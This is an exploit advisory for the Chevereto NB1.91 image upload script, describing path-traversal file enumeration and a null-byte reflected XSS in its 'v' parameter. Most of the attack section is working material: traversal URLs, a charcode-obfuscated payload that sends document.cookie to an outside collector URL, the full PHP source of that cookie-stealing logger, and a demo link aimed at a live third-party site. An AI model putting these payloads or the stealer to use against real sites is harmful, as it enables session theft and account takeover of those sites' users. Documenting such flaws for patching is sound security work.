Chevereto Upload Script suffers from cross site scripting and user enumeration vulnerabilities.

`========================================================================================  
Vulnerable Software: Chevereto upload script  
Downloaded from: http://code.google.com/p/chevereto/downloads/list  
(http://code.google.com/p/chevereto/downloads/detail?name=chevereto_nb1.91.zip&can=2&q=)  
Official site: http://chevereto.com/  
chevereto_nb1.91.zip Nightly Build 1.91 Featured Oct 2010 471 KB 32167  
========================================================================================  
About software:See from vendor: http://chevereto.com/  
chevereto is outstanding Image Hosting Script (c) chevereto.com  
========================================================================================  
Tested:  
*php.ini MAGIC_QUOTES_GPC OFF*  
Safe mode off  
/*  
OS: Windows XP SP2 (32 bit)  
Apache: 2.2.21.0  
PHP Version: 5.2.17.17  
MYSQL: 5.5.23  
========================================================================================  
Vuln Desc:  
Vulnerable Code Section  
//http://site.tld/whereunpacked/Upload/engine.php  
  
if ($modo==2 || $modo==3) {  
// INFORMACION (ANCHO, ALTO y PESO)  
if ($modo==2) {  
if ($_GET['v']) {  
$id = $_GET['v'];  
$imagen = DIR_IM.$id;  
if (file_exists($imagen)==true) {  
$titulo = SEEING.' '.$id.' '.AT.' ';  
$info = getimagesize($imagen); //Obtenemos la informacion  
$statinfo = @stat($imagen);  
$ancho = $info[0];  
$alto = $info[1];  
$mime = $info['mime'];  
$tamano = $statinfo['size']; //Bytes  
$tamano_kb = round($tamano*0.0009765625, 2);  
$canales = $info['channels'];  
} else {  
unset($modo);  
$modo = 1;  
$spit = true;  
$errormsg = NOT_EXISTS;  
$titulo = NOT_EXISTS_TITLE.ESP_TITULO;  
}  
}  
}  
  
// LAS URL  
$URLimg = URL_SCRIPT.DIR_IM.$name;  
$URLthm = URL_SCRIPT.DIR_TH.$name;  
$URLvim = URL_SCRIPT.'?v='.$name;  
$URLshr = $URLvim; // Para no cambiar mas abajo  
$eu_img = urlencode($URLimg);  
  
  
File existense enumeration:  
http://192.168.0.15/learn/chevereto/chevereto_nb1.91/Upload/?v=../index.php  
  
Non persistent cROSS siTE sCRIPTING (XSS)  
http://192.168.0.15/learn/chevereto/chevereto_nb1.91/Upload/?v=../index.php%00<script>alert(1);</script>  
  
Note:*Null byte* usage is neccessary here when exploiting XSS.See the vulnerable code section.  
  
  
=======XSS STEAL COOKIE========  
http://192.168.0.15/learn/chevereto/chevereto_nb1.91/Upload/?v=../index.php%00</title><script>document.write(String.fromCharCode(60,115,99,114,105,112,116,62,108,111,99,97,116,105,111,110,46,114,101,112,108,97,99,101,40,34,104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,48,46,49,53,47,108,101,97,114,110,47,119,111,114,107,47,120,115,115,46,112,104,112,63,116,120,116,61,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,60,47,115,99,114,105,112,116,62));</script>  
============EOF================  
our charcoded XSS payload in this case is: <script>location.replace("http://192.168.0.15/learn/work/xss.php?txt="+document.cookie)</script>  
  
And Finally:  
//xss.php = is our cookie stealer.  
  
<?php  
error_reporting('off');  
if(isset($_GET['txt']))  
{  
$cleanupitfirst=base64_encode(htmlentities($_GET['txt']));  
$file='./s.txt';  
$handle=fopen($file,'a+');  
fwrite($handle,PHP_EOL .'============Decode It==========='. PHP_EOL .$cleanupitfirst. PHP_EOL . '============END OF==========='.PHP_EOL);  
fclose($handle);  
}  
die('<script>location.replace("http://return_back.tld/blabla/");</script>');  
  
  
Demo: http://pics.openarmenia.com/?v=../index.php%00%3Cscript%3Ealert%281%29;%3C/script%3E  
//Chevereto NB1.6 rev2  
========================================================================================  
Due trust to this issuse we can say previous versions too is affected by this vulns.  
=================================== EOF =================================================  
  
  
++++My Special Thanks to:++++  
packetstormsecurity.org  
packetstormsecurity.com  
packetstormsecurity.net  
securityfocus.com  
cxsecurity.com  
security.nnov.ru  
securtiyvulns.com &&  
to all AA Team &&+ to all  
Azerbaijani Black Hatz;)  
++++++++++++++++++++++++++++++  
Thank you.  
  
/AkaStep ^_^  
  
  
`